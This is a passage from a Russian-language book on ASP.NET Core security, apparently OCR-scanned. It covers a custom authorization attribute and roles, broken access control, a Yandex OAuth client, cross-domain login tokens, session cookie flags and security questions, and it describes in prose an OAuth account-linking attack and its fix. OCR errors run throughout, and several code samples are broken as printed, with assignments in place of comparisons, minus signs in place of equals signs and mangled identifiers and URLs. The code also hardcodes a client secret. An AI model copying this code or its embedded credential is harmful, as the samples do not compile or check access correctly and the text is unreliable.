return View("Edit", new BlogViewModel ()); }
Если посетитель не авторизован, мы здесь переадресуем его на страницу ввода имени и пароля. Эго будет работать, но код выглядит страшно и слишком нудно.
Однако, воспользовавшись встроенной в .NET возможностью авторизации, вы сможете реализовать более удобный декларативный подход: перед любым методом или классом поставить атрибут [Authorize], и уже он возьмет на себя ответственность за проверку авторизации.
Организовать такой же подход очень легко даже для нашей собственной авторизации. Как мы уже видели, нет ничего сверхсложного в том, что реализовали для нас в Microsoft, — всё это легко делается.
Давайте реализуем свой атрибут, чтобы познакомится с тем, как это может работать в приложении. Я назову его [BiogAuthorize]. Для хранения атрибутов в проекте очень часто выделяют отдельную папку с именем Middleware. Я и сам предпочитаю все атрибуты хранить в одном месте. Создадим такую папку и в ней — новый файл BlogAuttxxize.cs со следующим содержимым:
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc. Filters;
namespace MyBlog.Middleware {
[Attributeusage (AttributeTargets. Class | AttributeTargets. Method, AllowMultiple = true, Inherited = true) ]
public class BlogAuthorizeAttribute : Attribute, lAuthorizationFilter {
public void OnAuthorization(AuthorizationFilterContext context) {
if (context.HttpContext?.Session.GetInt32("userid") = null) { context.Result =
new StatusCodeResult ((int) System.Net.HttpStatusCOde. Forbidden);
}
I
} }
Вот так просто мы получили свой собственный атрибут: создали класс (я назвал его BlogAuthorizeAttribute) И реализовали метод OnAuthorization. В ЭТОМ методе Я проверяю наличие значения посетителя в сессии. Если его там нет, то посетитель не
Аутентификация и авторизация
89
авторизован, поэтому В context.Result записывается System.Net.HttpStatusCOde. Forbidden.
Как видно из объявления атрибута, он может назначаться как отдельному методу, так И целому контроллеру AttributeTargets. Class I AttributeTargets. Method.
Это значит, что в контроллере блога не нужно делать никаких проверок, а достаточно только поставить перед классом новый атрибут:
[BlogAuthori ze] public class BlogController : Controller {
}
Если теперь запустить сайт и перейти на страницу /blog/add, то неавторизованный посетитель увидит сообщение Access to localhost was denied (Доступ к хосту был отклонен) — ошибку 403 (рис. 2.9).
Возможно, вы захотите сделать так, чтобы в случае отказа в доступе отображалось не сообщение об ошибке, а посетитель перенаправлялся бы на страницу входа. Для этого в классе атрибута — на случай проблемы авторизации — нужно заменить ошибку доступа переадресацией на страницу входа:
context.Result = new RedirectResult ("/Login");
Для крупных сайтов авторизация может быть более сложной и включать роли. Даже небольшой сайг может разделять действия на роли: простой посетитель и администратор. Тут реализация уже будет зависеть от конкретных требований, но давайте посмотрим на простой пример с двумя ролями.
Рис. 2.9. Сообщение об ошибке 403
90
Глава 2
Для работы с ролями я создал перечисление:
public enum AuthRole { User, Admin }
Класс атрибута получает в качестве параметра роль:
private AuthRole role;
public BlogAuthorizeAttribute(AuthRole role)
{ this.role - role;
}
Это значит, что теперь мы должны указывать роль при задании атрибута:
[BlogAuthorize(AuthRole.Admin)]
public class BlogController : Controller
К методам контроллера блога сейчас смогут обращаться только администраторы.
Затем взглянем на код проверки:
public void OnAuthorization(AuthorizationFilterContext context) (
if (context.HttpContext?.Session.Getlnt32("userid") “ null)
{
context.Result - new RedirectResult("/Login"); return;
)
if (context.HttpContext?.Session.GetStringfRole") != role.ToString())
{
context.Result =
new StatusCodeResult((int)System.Net.HttpStatusCode.Forbidden);
}
)
Если посетитель не авторизован, то переадресовываем его на страницу авторизации. Если авторизован, но ему не хватает прав, то показываем ошибку доступа Forbidden.
Недостаточный контроль доступа — одна из популярных уязвимостей в веб-приложениях. Задача программиста: правильно защищать доступ к контроллерам, и чем проще управление доступом, тем меньше шансов, что вы совершите ошибку.
Атрибуты — отличный способ контроля. Один простой атрибут способен указать, кто именно может иметь доступ к контроллеру или отдельному методу. Чем проще добавить к контроллерам необходимую защиту, тем лучше ее будут использовать.
Я несколько раз сталкивался с ситуацией, когда уязвимость возникала не потому, что программист не предусмотрел что-то, а из-за того, что клиент или бизнес- аналитики сочли, что ограничений не должно быть. Они полагают, что ограничения усложняют жизнь зарегистрированным посетителям, и если ограничения устранить, то всем будет удобно, — в надежде, что никто из посетителей не станет злоупотреблять доступом.
Аутентификация и авторизация
91
К сожалению, в Сети не все так просто, и нельзя ожидать, что посетители будут следовать правилам хорошего тона и никто не станет злоупотреблять. В тех случаях, когда клиент требует не вводить ограничения, мы (программисты) не можем ничего поделать, потому что клиент всегда прав. Остается только исполнять его пожелания и одновременно пытаться убедить его выбрать правильное решение.
Но уж если программист принял решение не накладывать ограничений, то тут ему самому остается нести ответственность в случае взлома или утечки данных.
В безопасности есть такое популярное правило: запрещено всё, что явно не разрешено. Смысл его в том, что по умолчанию всё запрещается, и чтобы что-то разрешить, мы явно делаем это только для определенных действий.
В C# для различных HTML-запросов создают разные методы классов. Бывает, что защищают GET, но забывают поставить атрибут на POST или какой-либо другой атрибут. Программисты могут проверять методы прямо в коде, но при этом могут забыть о существовании таких методов, как DELETE, PUT, HEAD и др.
Что плохого в этом методе:
[Route("/login")]
public async Task<IActionResult> LoginPost( string username, string password
)
{ }
Судя по имени метода, он должен вызываться в ответ на HTTP-метод POST, но при этом в нем нет атрибута [HttpPost], а значит, этот метод можно вызвать как по POST, так и по GET или даже PUT.
Приучите себя явно указывать методы доступа для каждого метода контроллера, который может вызываться посетителем.
Чтобы не думать о таком большом количестве HTTP-запросов, некоторые специалисты по безопасности просто запрещают всё, кроме GET и POST. В Sony у нас поступили именно так — администраторы запретили всё, кроме GET и POST. Никаких DELETE или PUT, а значит, в случае с REST API приходилось искать различные обходы. Просто админы были слишком консервативны и вообще запрещали всё по максимуму.
Подобные ошибки — самые сложные с точки зрения поиска, потому что автоматическому сканированию сложно понять: должна быть защита доступа или нет. Тут нужно быть очень внимательным в процессе разработки и регулярно задавать себе вопросы: кто должен иметь доступ к методам, как их могут использовать, кто и какой результат может видеть. И каждый раз надо исходить из главного правила безопасности: запрещено всё, что не разрешено.
Есть такой тип уязвимостей — Broken Access Control (Нарушенный контроль доступа). Есть разные классификации уязвимостей, и в каждой Broken Access Control входит в список самых распространенных.
92
Глава 2
Нарушением могут считаться следующие ситуации:
□ посетитель может выйти за пределы предназначенных для посетителей границ и увидеть информацию, которая не предназначена для них;
□ нарушение правила минимальных привилегий. По умолчанию все должно быть запрещено, и любой доступ должен выдаваться явно определенным ролям или посетителям;
□ при изменении параметров в URL или других переменных посетитель может успешно увидеть чужие данные;
□ прямой доступ к ресурсам, которые не должны быть доступны. Очень часто какие-то ресурсы просто скрыты. Одно интернет-издание пострадало из-за подобной уязвимости, когда на сайте отсутствовала ссылка на новый номер журнала, но, поменяв номер на следующий в строке URL, посетители могли увидеть страницы выпуска, который еще не был официально доступен.
Очень легко спрятать какую-то ссылку, если у посетителя не должно быть доступа к какому-то ресурсу, но этого недостаточно, — надо проверять доступ при непосредственном обращении к ресурсу. Если это URL сайта, то такая проверка вполне реализуема. А если это файл?
Можно запретить прямой доступ к файлам и хранить их где-то в файловой системе, которая не доступна через URL. А для скачивания файла создать контроллер, который будет возвращать файл. И тут снова нужно быть аккуратным, чтобы пользователи не получили доступ к файлам паролей и могли скачать не любой файл в системе, а только те, к которым разрешен доступ.
2.11. Железобетонная проверка
Пару лет назад я был на конференции по безопасности, и там мы столкнулись с Сергеем Беловым, который также писал статьи по безопасности в журнал «Хакер» и на Хабр6. Стали мы обсуждать безопасность и авторизацию, и он затронул тему железобетонной защиты паролей даже на случай взлома.
Если на сайте имеется уязвимость, которая позволяет каким-то образом выполнять запросы к базе данных и просматривать результат, то хакер сможет получить данные паролей. Задача — не дать ему такой возможности.
Для простоты реализации имена и пароли можно вынести в отдельную таблицу и с помощью средств системы управления БД запретить выполнять какие-либо SQL- запросы к этой таблице и создать лишь несколько процедур, среди которых:
□ добавить новую запись с именем, паролем и солью;
□ check pass (userid, hash) — проверить пароль для посетителя.
6 См. Mtp:Z7habr.rB.
Аутентификация и авторизация
93
Если к данным имеют доступ только отдельные процедуры, то хакер не сможет скопировать себе все данные. Ему придется брать каждый ID посетителя и перебирать его пароли через процедуру.
Отличная идея — если только приложение не обращается к базе данных от имени привилегированного посетителя. Когда я отвечал за продукты Sony, то у меня сайт работал от посетителя, который не мог менять схему (создавать таблицы или изменять права доступа). Но так было, когда за безопасность отвечал я. В тех случаях, когда я был просто наемным сотрудником, то часто видел ситуации, когда веб-сайт работал от имени привилегированного посетителя. И если хакер получит в таком случае доступ к выполнению SQL-запросов, то он сможет назначить себе любые права на любые таблицы.
Так что такой вариант защиты может быть железобетонным, но только если хакер не получил права администратора.
Хакер еще может скачать себе резервную копию базы данных и начать перебор пароля администратора локально. Это если мы говорим о полном взломе, когда хакеры пробили все возможные защиты и перед ними остается только хранилище паролей. Подобрать пароль одного администратора намного проще, чем пароли для каждого посетителя.
2.12. Протокол OAuth
Я не люблю регистрироваться на сайтах, потому что каждый раз приходится придумывать новый пароль и заполнять разные регистрационные формы. У меня заведены уникальные пароли только в банковских сервисах, социальных сетях, почте и некоторых других сервисах.
Если какой-то блог, форум, доска объявлений или другой сайт, где мне не понадобится вводить данные кредитной карты, просит меня зарегистрироваться, то я предпочитаю использовать для авторизации такие сервисы, как «ВК», «Яндекс» и им подобные. Я уже зарегистрирован в этих сервисах, там есть мои данные, и они могут авторизовать меня. Регистрация сводится к тому, что у меня открывается диалоговое окно, с помощью которого я могу дать разрешение на авторизацию.
При этом, когда мне нужно войти на сайт, я не должен вспоминать пароль,— я просто выбираю авторизацию с помощью «ВК» или «Яндекс», и всё — я в системе.
Скорее всего, вы уже использовали в реальной жизни авторизацию с помощью каких-либо сервисов, а сегодня мы поговорим о ней с точки зрения программиста.
Для реализации такой авторизации используется протокол OAuth 2.0. Буква «О» здесь означает Open (открытый). Рассмотрим действия, которые происходят во время авторизации по этому протоколу.
Действующие лица: посетитель, сайт X, на котором происходит авторизация, сайт Y, который предоставляет сервис авторизации (например, «Яндекс»).
1. Посетитель инициирует авторизацию на сайте X, щелкнув на кнопке сервиса авторизации сайта Y.
94
Гпава 2
2. Сайт X перенаправляет браузер на сервис авторизации сайта Y и при этом в URL передает специальный код, который будет использоваться для идентификации процесса.
3. Посетитель видит на сервисе сайта Y запрос на разрешение авторизации для сайта X и разрешает такую авторизацию.
4. Если авторизация разрешена, то сайт Y пересылает браузер пользователя обратно на сайт X, а в URL размещает временный токен и специальный код, который посетитель отправлял на сайт Y на втором шаге.
5. Сайт X проверяет, совпадает ли специальный код, переданный на шаге 2, с кодом, который вернулся вместе с токеном.
6. Сайт X получает через URL временный токен и обращается к сервису Y напрямую с тем, чтобы превратить временный токен в постоянный, и уже с его помощью получить информацию о посетителе.
Если первые шаги происходят в браузере, и переадресацию можно увидеть в строке URL, то последний шаг не виден посетителю, поскольку он производится напрямую по Сети.
Возможная уязвимость в реализации OAuth:
1. Хакер начинает процесс привязки аккаунта «Яндекса» с помощью OAuth.
2. «Яндекс» спрашивает разрешение и возвращает ему URL с токеном.
3. Хакер берет этот URL и отдает его жертве. Жертва загружает URL и привязывает Яндекс-аккаунт хакета к своему.
Теперь аккаунт хакера привязан к посетителю, и хакер может в любой момент авторизовываться от его имени.
Для защиты от этой уязвимости надо использовать в процессе авторизации какое- либо уникальное значение. Вспоминаем процесс OAuth, где второй шаг заключался в следующем:
Сайт X перенаправляет браузер на сервис авторизации сайта У и при этом в URL передает специальный код, который будет использоваться для идентификации процесса.
Упомянутый здесь специальный код должен быть уникальным для каждого посетителя. Это требование остается на совести сайта X, и сервисы авторизации обычно не отслеживают такую уникальность. Шаг 5 обязателен, но не все сайты проверяют совпадение специальных кодов.
Если в процессе OAuth сайт X будет генерировать уникальный код для каждого посетителя и станет проверять после авторизации, что он принадлежит текущему посетителю, то атака на OAuth станет невозможной. Даже если хакер подбросит свой URL жертве, код авторизации не будет совпадать, и шаг 5 накроется.
Надо обязательно проверять, чтобы один и тот же человек начинал и заканчивал процесс OAuth. К сожалению, некоторые программисты считают эту проверку бесполезной и не выполняют ее.
Аутентификация и авторизация 95
Не думаю, что кто-то из вас будет писать свой OAuth-сервер, а вот реализация клиента — популярная задача, поэтому давайте посмотрим не нее на примере «Яндекса».
2.12.1. Конфигурирование приложения «Яндекс» OAuth
OAuth — это открытый протокол, и его реализация в различных сервисах очень похожа.
Сначала нам нужно сконфигурировать новое приложение на сайте сервиса авторизации. Для «Яндекса» это https://oauth.yandex.ru, где внизу страницы есть большая кнопка Создать приложение (рис. 2.10).
Рис. 2.10. Окно управления «Яндекса» OAuth
На первом шаге нам надо указать имя сервиса, картинку и тип приложения. Имя и картинка будут отображаться в окне авторизации, которое будет видеть посетитель. Речь у нас идет о веб-сервисах, поэтому в качестве платформы выбираем опцию Веб-сервисы (рис. 2.11).
Следующий шаг — выбираем информацию, которую мы хотим иметь возможность читать из сервиса. Дата рождения и номер телефона мне обычно не нужны, и странно, что вообще номер телефона так открыто предоставляют. Имя, фамилия, почта и картинка — достаточно востребованы, поэтому их оставлю (рис. 2.12).
Третий шаг — надо указать, на какой URL сервер должен перенаправить запрос после успешной авторизации. Здесь будет располагаться наш код, который должен проверять временный токен. Я для примера выбрал URL https://test. flenov.ru:37741/yaauth.
96
Глава 2
Рис. 2.11. Настройка приложения — шаг 1
Рис. 2.12. Настройка приложения — шаг 2: данные, которые мы хотим прочитать
Аутентификация и авторизация
97
Туг же можно указать домен, на котором должна будет находиться кнопка начала авторизации. «Яндекс» позволяет оставить это поле пустым. Возможно, это позволит вам располагать кнопку на любых сайтах, но завершение авторизации всегда будет на одном и том же адресе (рис. 2.13).
Рис. 2.1Х Настройка приложения — шаг 2: настройки URL
Я не люблю тестировать OAuth с использованием адреса localhost, поэтому вместо него я задаю какой-нибудь домен и добавляю в свой hosts-файл строку: 127.0.0.1 test.flenov.ru
Теперь адрес test. f lenov. ru указывает на мой локальный компьютер.
Чтобы мой сайг загружался с этим доменом, я добавляю соответствующую конфигурацию в файл Properties4aunchSetfings.json: "MyBlog": ( "cCTunandName": "Project", "launchBrowser": true, "applicationUrl": "https://test.flenov.ru:37741;http://test.flenov.ru:37742", "environmentvariables": {
"ASPNETCOREENVIROWE^ "Development" } },
У вас может быть несколько подобных блоков. Какой изменять? Узнать это очень легко — запустите приложение и посмотрите, какой порт вы видите. Вот для этого порта И замените localhose:37741 на https: //test. flenov.ru:37741.
98
Гпава 2
На последнем шаге настройки надо указать только адрес электронной почты. Не знаю, зачем разработчики «Яндекса» выделили на это целый отдельный шаг — можно бьшо бы объединить его с каким-либо другим и предложить использовать текущий адрес Яндекс-почты, под которым я авторизован. Ну, шаг простой, поэтому даже показывать его не буду.
Теперь все готово, и нам предлагают подтвердить, что результирующее окно выглядит хорошо. Последний взгляд, и нажимаем кнопку: Все верно, создать приложение.
«Яндекс» создает приложение и показывает нам два важных параметра: ClientID и Client secret (пользовательский секрет). Первое значение публично — оно будет использоваться при вызове авторизации. Client secret — это код, который вы должны скрывать, и он будет использоваться при прямом обращении к сервису «Яндекс», когда мы проверяем временный токен. Эти параметры вы можете увидеть на рис. 2.14.
Рис. 2.14. Настройки OAuth
Да, я открыто в книге показываю секрет, который создал для меня «Яндекс», но мне его не жалко, потому что я собираюсь удалить это приложение по завершении работы над книгой.
Наверху страницы также видны две кнопки, одна из которых — Готовые скрипты. Там представлен JavaScript-код, который достаточно добавить на вашу страницу, чтобы авторизация заработала. Я этот код не пробовал, потому что он на JavaScript,
Аутентификация и авторизация 99
а мы в этой книге говорим про С#, и намного интереснее было бы реализовать клиента самостоятельно.
2.12.2. Создаем клиента
Переходим непосредственно к реализации клиента. На странице авторизации добавим новую ссылку:
<а href=”https://oauth.yandex.ru/authorize?@ViewBag.YaUrl”>
Авторизоваться Яндексом
</a>
Ссылка начинается с https://oauth.yandex.ru/authorize, а потом идут параметры, которые ВЗЯТЫ ИЗ ViewBag.YaUrl.
В контроллере это значение будет заполняться так:
ViewBag.YaUrl = YaAuthviewModel.GetAuthUrl(httpContextAccessor);
Здесь я вызываю метод GetAuthuri модели YaAuthviewModel. В качестве параметра передается httpContextAccessor, через который мы будем работать с сессией.
Эта модель и метод выглядят следующим образом:
public class YaAuthviewModel {
public static string Clientid = ”fe4c39d8d6384fe98b3053488a08ed22”;
public static string ClientSecret = ”ebd391b8e8344e04a075932cf2990503”;
public static string GetAuthUrl(IHttpContextAccessor accessor) {
string authcode = Guid.NewGuid().ToString();
accessor?.HttpContext?.Session.Setstring(’’authcode”, authcode);
string returnUrl =
Uri.EscapeDataString(’’https://test.flenov.ru:37741/yaauth");
return ”response_type=code&redirect_uri=” + returnUrl + ”&client_id=” + Clientid + ”&state=” + authcode;
} }
Туг два статичных значения: clientid и Clientsecret, хранящие соответственно идентификатор клиента и секрет, которые мы получили при создании приложения. Эти значения лучше хранить в конфигурационном файле, но здесь они будут в коде.
Теперь создаем URL. Сначала генерируется новый уникальный идентификатор, и именно он попадает в сессию. Это как раз уникальное значение, требуемое для обеспечения безопасности. Теперь в URL мы должны добавить четыре значения:
□ response_type=code;
□ redirect_uri — можно оставить даже пустым, потому что на стороне «Яндекса» мы уже указали нужный адрес.
100
Глава 2
Но если здесь что-либо указывать, то только такой же адрес, как и в «Яндексе», иначе будет ошибка. Если вы будете указывать URL, то его нужно закодировать С ПОМОЩЬЮ Uri.EscapeDataString;
□ clientid — должен быть равен идентификатору клиента;
□ state — значение безопасности. Что мы тут укажем, то и увидим после авторизации.
В итоге полный URL для авторизации будет выглядеть так:
https://oanth.yandex.ru/authorize?response_type=code&redirect_uri=bttps%3A %2F%2FtesLflenov.ru%3A37741%2Fyaaath&client_id=fe4c39d8d6384fe98b30534 88a08ed22&state^l77dfed0-8e99-4bb4-«44f-0Mb98^
Именно такой URL будет создан для начала авторизации. Идентификатор клиента здесь приведен прямо в адресе, и его могут увидеть все.
Когда посетитель авторизовал запрос, «Яндекс» возвращает нас обратно на адрес redirecturi с тремя параметрами, из которых нас интересуют state и code:
https://tesLftenov.ni:37741/yaairth?state=177dfeda3e99-4bb^ 064b9888ac00&code=2321628&cid-dd48g0en8u2aftdp6f546numlm.
Рассмотрим по частям метод, который будет проверять авторизацию. Он через параметры читает нужные нам значения:
[Route("/yaauth")]
public async Task<ActionResult> Index(string state, string code) { string sessionstate =
httpContextAccessor?. HttpContext?. Session. GetString ("authcode") ?? "sdfsdf";
if (state != sessionstate) { return new ContentResult { Content = "Ошибка безопасности" };
}
В самом начале я читаю значение из сессии и проверяю, что оно соответствует тому, что нам вернул «Яндекс».
Теперь мы должны превратить временное значение из code в более постоянный код:
var form = new Dictionary<string, string> {
{ "granttype", "authorizationcode" },
{ "code", code },
{ "client_id", Models.YaAuthViewModel.Clientid },
{ "client_secret", Models. YaAuthViewModel. Client Secret } );
client.DefaultRequestHeaders.Clear();
HttpResponseMessage tokenResponse = await
client.PostAsync("https://oauth.yandex.ru/token",
new FormDrlEncodedContent (form));
Аутентификация и авторизация 101
var tokencontent = await tokenResponse.Content.ReadAsStringAsync();
Models.YaTokenViewModel? token =
JsonSerializer.Deserialize<Models.YaTokenViewModel>(tokencontent);
Сначала создаем словарь co значениями, которые нам понадобятся чтобы отправить запрос. Это:
О grant_type=authorization_code;
□ code — временный код, который нам дал «Яндекс»;
□ client id — идентификатор клиента;
□ client secret — секрет. Этот запрос будет направлен «Яндексу» через прямой Httpciient, который не будет виден пользователю, поэтому здесь секрет в безопасности, и он необходим для защиты.
Отправляем запрос на адрес https://oauth.yandex.ru/token вместе с этими параметрами. В результате я получил от «Яндекса» такой JSON-текст:
{
"access_token": "yO_AgAAAAADyZxHAAwbJQAAAAEKmoygAAD4 ",
"expires_in": 31530137,
"refresh_token": "1:4PfBXJRVidl",
"token_type": "bearer"
}
Значение некоторых параметров я тут сократил, чтобы JSON не был слишком большим. Самое важное для нас тут — access token. С помощью этого токена мы сможем прочитать данные о посетителе.
Чтобы удобнее было работать С ЭТИМИ Значениями, Я СОЗДал класс YaTokenViewModel и десериализовываю данные в него:
public class YaTokenViewModel {
public string? access_token { get; set; }
public int? expires—in { get; set; }
public string? refresh_token { get; set; }
public string? token_type { get; set; }
public string? error { get; set; }
public string? error_description { get; set; } }
В этом классе есть два дополнительных свойства: error и error description. У нас их не было в строке, но они могут быть, если произойдет ошибка. Прежде чем продолжать, нужно проверить — есть ли ошибка:
if (token = null I I !String.IsNullOrEmpty(token.error)) {
return new ContentResult {
Content = "Ошибка " + token?.error
};
I
Итак, у нас есть токен access token, и теперь мы можем запросить информацию о посетителе:
102
Гпава 2
client.DefaultRequestHeaders.Clear();
client.DefaultRequestHeaders.Add("Authorization”,
’’OAuth ’’ + token?.access_token );
HttpResponseMessage infoResponse =
await client. PostAsync (’’https://login.yandex. ru/info”, null); var infoContent = await infoResponse.Content.ReadAsStringAsync();
Models.YaInfoViewModel? userinfo =
JsonSerializer.Deserialize<Models.YaInfoViewModel>(infoContent);
Токен мы помещаем в заголовок — во второй строке. После этого отправляем запрос на URL https://login.yandex.ru/info. В результате этого запроса получаем следующий JSON-текст:
{
”id”: ”63544391”,
’’login”: ’’mikhaiIflenov”,
”client_id”: ”fe4c39d8d6384fe98b3053488a08ed22”,
”display_name”: ”\u041c\u0438”,
”real_name”: ”\u041c\u0438\u0445”,
”first_name": ”\u041c\u0438\u0445\u0430\u0438\u043b”,
”last_name”: ”\u0424\u043b\u0435 ”,
”sex”: ’’male”,
"default_email”: ’’mikhailflenov”,
’’emails”: [’’mikhailflenov”],
"default_avatar_id”:”21493/enc-88d480392604a8ebed3e822923554e”, "is_avatar_empty”: false,
”psuid": ”1.AAwbJQ.sxJYQi6fYJcFT” }
Для удобства работы с этими данными они также десериализуются в объект класса:
public class YalnfoViewModel {
public string? first_name { get; set; }
public string? last_name { get; set; }
public string? display_name { get; set; }
public List<string> emails { get; set; } = new List<string>();
public string? default_avatar_id { get; set; }
public string? default_email { get; set; }
public string? real_name { get; set; }
public bool? is_avatar_empty { get; set; }
public string? client_id { get; set; }
public string? login { get; set; }
public string? sex { get; set; } public string? id { get; set; }
}
Теперь у нас есть все данные, чтобы мы могли зарегистрировать посетителя в системе, — добавить эти данные в таблицу посетителей. Нет только пароля, но его можно сгенерировать и использовать уникальный идентификатор. В этом случае
Аутентификация и авторизация
103
посетитель не сможет войти с помощью email и пароля, но можно воспользоваться восстановлением пароля или авторизовываться с помощью «Яндекса».
2.12.3. Что дольше?
Я показал базовую возможность авторизации с помощью «Яндекса». Я работал и с другими сервисами, и везде идея была та же. Это хорошая основа, и дальше вы сможете расширить API уже сами.
Вам нужно быть осторожными, потому что посетитель может зарегистрироваться сначала с помощью email, а потом попробовать авторизоваться с помощью «Яндекса» с таким же адресом. В этом случае нужно обновить уже существующую запись, иначе в системе будут присутствовать два аккаунта с одним и тем же email.
Но тут есть еще и потенциальная проблема. Хакер может создать аккаунт с вашим email и указать свой пароль. Теперь, когда вы, как реальный посетитель, авторизовываетесь с помощью «Яндекса», вы обновляете уже существующую запись, но при этом пароль вы, скорее всего, трогать не будете, а оставите таким, как есть. Но его задал хакер, и он сможет войти в систему с помощью вашего email и своего пароля!
Привязка OAuth-авторизации к существующему аккаунту может быть безопасна, только если email существующего аккаунта проверен. Тогда, если хакер зарегистрирует чужой email, он не сможет его подтвердить. Разве что хакер взломает email, получит письмо с кодом проверки и подтвердит адрес. Но в этом случае мы уже ничего не сможем сделать, потому что в случае взлома email хакер сможет получить доступ к аккаунту.
2.13. Делим авторизацию
Иногда возникает необходимость делить авторизацию на несколько доменов. У меня домены: rewards.sony.com, wheeloffortune.com и sonycard.com — все делили одного и того же посетителя. Аутентификация выполнялась на первом из них, но, зайдя на сайт, я оказывался авторизованным на всех доменах.
Как это происходило?
Тут можно использовать ту же самую идею, что и для OAuth, но иногда я сталкивался и с более простыми решениями. Допустим, что авторизация происходит на сайте flenov.info, но я хочу сделать так, что посетитель будет авторизован и на сайте flenov.ru. В этом случае, как только посетитель авторизуется на flenov.info, сайт загружает специальную страницу с flenov.ru и передает ей уникальный код:
http://www.flenov.ru/auth/?id=44a925bd—4cla—4066—969е—Ь5с656с25832
Здесь id — это уникальный идентификатор, который был создан на flenov.info, и там он был привязан к посетителю. Сайт flenov.ru, получая этот код, может прочитать из базы данных или использовать любую другую технологию (WebAPI или HTTP-запрос), чтобы проверить id и узнать, какому посетителю он принадлежит.
104
Гпава 2
Код должен создаваться на короткий срок, у меня он «жил» только одну минуту. Сразу после первого использования он помечался как использованный и больше не работал.
Подобрать уникальный идентификатор практически невозможно, а т. к. он живет короткий срок, то перехват его практически бесполезен, поскольку при перехвате хакер должен был бы действовать быстро или автоматизировать всё.
2.14. Защита сессии
До сих пор мы использовали настройки сессии по умолчанию. Чтобы сессии работали, нам достаточно добавить следующую строку в файл Program.cs:
builder.Services.AddSession();
Этого достаточно для тестирования, но недостаточно для безопасности. Когда мы рассматривали в разд. 2.8 процесс запоминания посетителя, то говорили о том, что если cookie не должны быть доступны из JavaScript, то нужно устанавливать параметр HttpOniy в true. Я не могу представить ситуацию, когда JavaScript-коду нужен будет доступ к cookie сессии.
Очень хорошей практикой будет использвоать еще и Secure Policy, чтобы cookie передавались только по HTTPS-протоколу:
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
Но чтобы включить этот флаг, надо всегда использовать HTTPS-протокол — даже в локальной разработке.
В идеале настройка сессии должна выглядеть следующим образом:
builder.Services.AddSession(options => {
options.Cookie.HttpOniy = true;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always; });
В разд. 1.11 я рассказывал про шифрование трафика, и там у нас в сессии было две cookie: для HTTPS- и для HTTP-трафика. Стандартная реализация Microsoft такого позволить не может — для этого нужно использовать самописную сессию, что я покажу в главе 8. Но в таком случае cookie для HTTPS должна передаваться только по HTTPS, a cookie для HTTP-сессии может передаваться по обоим протоколам.
Следующая настройка, которая помогает нам для защиты сессии, — это параметр Same Site. В следующем примере этот параметр устанавливается в sameSiteMode. Strict:
builder.Services.AddSession(options => {
options.Cookie.HttpOniy = true;
options.Cookie.SameSite = SameSiteMode.Strict;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
});
Аутентификация и авторизация
105
Это самая жесткая настройка, при которой значения cookie будут передаваться, только если запрос приходит с того же сервера. Если вы загрузили сайт Flenov.info и с него происходит попытка отправить запрос на Flenov.ru, то вместе с этим запросом cookie для сессии передаваться не будет и Flenov.ru не увидит авторизации.
Эго самое жесткое значение, которое используется не так часто. Значение по умолчанию зависит от браузера. Chrome, начиная с 80-й версии, по умолчанию использует значение SameSiteMode.Lax. В этом случае значение cookie будет передаваться, если запрос направляется методом GET, HEAD, OPTIONS или TRACE. Эти запросы не должны менять никакие данные на сервере, а только запрашивать их. Конечно же программист может сделать так, что данные будут меняться, но это будет ошибка программиста.
Когда данные только запрашиваются, то если Flenov.info направит даже авторизованный запрос на Flenov.ru, то он не сможет навредить сайту. Но для отображения очень важно знать — авторизован сейчас посетитель или нет.
Как я отметил ранее, Chrome уже использует это значение по умолчанию, и, возможно, к выходу этого издания книги в свет все другие браузеры будут делать так же, но я их не проверял... Однако на настройку по умолчанию браузера лучше не надеяться, а указывать нужное значение явно. Для большинства сайтов достаточно SameSiteMode. Lax.
Самым плохим решением будет использовать значение SameSiteMode.None. В этом случае cookie авторизации будут отправляться всегда, а это может привести к уязвимости CSRF, о которой мы будем говорить в разд. 3.10.
Параметры HttpOnly, samesite и securePolicy могут использоваться не только для защиты cookie-сессии, но и любых других cookie-значений.
2.15. Многоуровневая авторизация
Сколько бы мы ни говорили о безопасности, но пароли все равно регулярно утекают в Интернет. Мы ранее обсудили, как можно поставить преграды на пути хакера и создать ему проблемы с помощью защиты от перебора, но это все же не гарантирует полной безопасности. Под серьезным натиском падали даже крупные сайты, у которых много ресурсов на создание защиты, — если не работают хитрость и ум, может сработать грубая сила.
Мы поставили защиту, которая затрудняет перебор с одного и того же IP-адреса, вынуждая хакера проверять имена и пароли не спеша, но он тем не менее может это делать. А если у хакера будет 10 разных компьютеров с разными адресами, замедление станет не таким уж и большим. Применяя вирусные технологии, хакеры могут создавать целые сети зараженных компьютеров пользователей, которые могут даже не подозревать о том, что их компьютеры задействуются для перебора чьих-то паролей.
Опять же, если у вас просто блог, то, скорее всего, никто не будет прилагать серьезных усилий по его взлому, но если это банковская система, то просто замедления
106
Гпава 2
действий хакера недостаточно. Более эффективным методом является двухфакторная аутентификация, состоящая из двух шагов: сначала идет классическая проверка имени и пароля, с помощью которой мы узнаем, какой именно посетитель хочет войти в систему. Зная, кто авторизуется, на втором шаге мы проводим дополнительную проверку. Можно, например, попросить посетителя ответить на какой-то вопрос безопасности. Вы, наверное, не раз сталкивались с подобным в Интернете. Когда такие вопросы только появились, они первое время были эффективными. Но, как и в случае с паролями, посетители часто выбирают одни и те же вопросы и ответы, и чем больше сайтов использовали вопросы безопасности, тем больше было шансов, что они пересекутся с другими.
Чтобы снизить вероятность пересечения с другими сайтами, разработчики стали просить посетителя предоставить ответы на три разных вопроса, а после его входа спрашивать ответ на один из них случайным образом. Тут.очень важно не менять вопрос. Если пользователь авторизовался с паролем, мы должны выбрать один из вопросов и при неверном ответе продолжать добиваться ответа именно на него. Если менять вопрос, то хакер просто может предоставлять неверные ответы, пока не появится вопрос, на который ему известен ответ.
Я как-то в Канаде регистрировался на одном из сайтов, где сразу после регистрации меня попросили дать ответы на три вопроса безопасности. Причем сайт этот был не очень важный, чтобы реализовывать второй уровень защиты: если пароль украдут, то и не жалко, — там не было моих персональных данных, не было ничего важного, поэтому в случае взлома я бы этот аккаунт бросил и зарегистрировал бы новый. И чтобы не запоминать ответы, я выбрал три случайных вопроса, а в качестве ответа на них указал свой пароль. И система приняла это! Мало того, что мой ответ соответствовал паролю, так еще и все Три ответа были одинаковыми. Ни в коем случае сайт не должен позволять делать такое!
